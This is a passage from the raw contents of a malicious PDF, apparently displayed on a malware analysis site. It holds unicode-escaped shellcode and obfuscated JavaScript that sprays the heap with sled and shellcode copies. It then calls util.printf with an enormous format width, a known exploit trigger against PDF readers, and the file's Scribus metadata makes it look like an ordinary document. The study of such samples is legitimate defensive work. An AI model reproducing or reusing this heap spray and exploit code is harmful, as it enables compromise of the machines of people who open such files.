                         "%u9360%u6607%u1B9A%u6E33%u9EA6%u3D4F%u940A%u059D" +
                         "%u9030%uEDC4%u56E3%uBFC9%u6F36%u1193%u1B3A%u871C" +
                         "%uC961%uD02C%u9060%u6EC4%u83A6%uAB92%uAEE0%u9844" +
                         "%u109A%u6DF2%u133E%uCD28%u4CEB%uCDAE%u6F33%u0193" +
                         "%u94A7%uB1C7%uBE01%u2AA1%u9324%u95C0%u9005%uDEC4" +
                         "%uC0A0%uBE94%uC036%uBA3B%u1B9C%uBD18%u6F33%u1D93" +
                         "%u6F30%u1993%u5053%u6868%uE5A0%uBC3D%uC632%u1297" +
                         "%uCAB2%u469D%u7E82%u2DF7%u78A3%u12E2%u6F9F%u8883" +
                         "%uC014%u82B6%uD103%u89A0%uF512%u9EB7%uD760%u99A1" +
                         "%uE933%u99B7%uFD05%u8480%uF512%u99A7%uE20F%uACBD" +
                         "%uC760%u83AD%uE825%u8EA1%uD560%u84BC%uC414%u9FAC" +
                         "%uF105%uEDA0%uFF2C%u89A5%uF92C%u9FA6%uE201%uACBD" +
                         "%uE560%u81B6%uFF0D%uEDAA%uC235%uA988%uE70F%u81AA" +
                         "%uF10F%uB9A0%uD60F%u81AD%uD105%u1CC4%u7D8D%u4E2D" +
                         "%u26D6%u0638%u7D8A%u0738%u7990%u5A2E%u669A%u5B30" +
                         "%u6695%u103C%u79D7%u0435%u0979%u745D");
						 
var QtSX7FFMO5Yh=unescape("%u0"+"A0A%u"+"0A0A");
var JjSyR=20;
var exh8jb=JjSyR+zFHYxkRYCwD2.length;
while(QtSX7FFMO5Yh.length<exh8jb)QtSX7FFMO5Yh+=QtSX7FFMO5Yh;
var qViE7Tw=QtSX7FFMO5Yh.substring(0,exh8jb);
var uIm38I7M=QtSX7FFMO5Yh.substring(0,QtSX7FFMO5Yh.length-exh8jb);
while(uIm38I7M.length+exh8jb<0x60000)uIm38I7M=uIm38I7M+uIm38I7M+qViE7Tw;
var vIpNxCz5kqu3=new Array();
for(v0FN43s=0;
v0FN43s<1200;v0FN43s++){vIpNxCz5kqu3[v0FN43s]=uIm38I7M+zFHYxkRYCwD2}
var gipW5Eb=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;
util.printf("%45"+"000f",gipW5Eb);
endstream
endobj
14 0 obj
<</Creator (Scribus 1.3.3.12)
/Title <>
/Producer (Scribus PDF Library 1.3.3.12)
/Author <>
/Keywords <>
/Trapped /False
/ModDate (D:20080806014227)
/CreationDate (D:20080806014227)
>>
endobj
xref
0 15
0000000000 65535 f 
0000000015 00000 n 
0000000264 00000 n 
0000000282 00000 n 
0000000327 00000 n 
0000000400 00000 n 
0000000431 00000 n 
0000000451 00000 n 
0000000490 00000 n 
0000000556 00000 n 
0000000734 00000 n 
0000000784 00000 n 
0000000865 00000 n 
0000000912 00000 n 
0000006893 00000 n 
trailer
<</Info 14 0 R
/Root 1 0 R
/Size 15
>>
startxref
7094
%%EOF

Open this report in the interactive analyzer, or submit your own file for analysis.